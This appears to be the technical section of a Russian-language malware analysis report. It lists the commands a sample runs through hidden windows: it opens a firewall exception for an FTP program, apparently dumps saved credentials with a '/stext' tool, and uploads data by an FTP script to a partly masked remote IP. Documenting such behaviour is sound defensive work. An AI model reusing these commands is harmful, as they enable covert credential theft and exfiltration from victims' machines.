Техническая информация
- '%WINDIR%\syswow64\netsh.exe' firewall add allowedprogram \FsedMFD8Jxftp.exe "Vimiworld" ENABLE
- '%WINDIR%\syswow64\taskkill.exe' /im cmd.exe /f
- %WINDIR%\syswow64\cmd.exe
- C:\ftpcommands.txt
- C:\ftpcommands.txt
- '5.###.136.10':21
- ClassName: 'AutoHotkey' WindowName: '<Полный путь к файлу>'
- ClassName: '#32771' WindowName: ''
- ClassName: '' WindowName: ''
- '%WINDIR%\syswow64\cmd.exe' /c SC START MpsSvc' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c \FsedMFD8Jxcho.exe /stext \FsedMFD8Jx.txt' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k @echo Off & netsh firewall add allowedprogram \FsedMFD8Jxftp.exe "Vimiworld" ENABLE' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c \FsedMFD8Jxftp.exe -s:"\FTPCommands.txt"' (со скрытым окном)
- '%WINDIR%\syswow64\taskkill.exe' /im cmd.exe /f' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c SC START MpsSvc
- '%WINDIR%\syswow64\sc.exe' START MpsSvc
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "<Полный путь к файлу>"
- '%WINDIR%\syswow64\cmd.exe' /c \FsedMFD8Jxcho.exe /stext \FsedMFD8Jx.txt
- '%WINDIR%\syswow64\cmd.exe' /k @echo Off & netsh firewall add allowedprogram \FsedMFD8Jxftp.exe "Vimiworld" ENABLE
- '%WINDIR%\syswow64\cmd.exe' /c \FsedMFD8Jxftp.exe -s:"\FTPCommands.txt"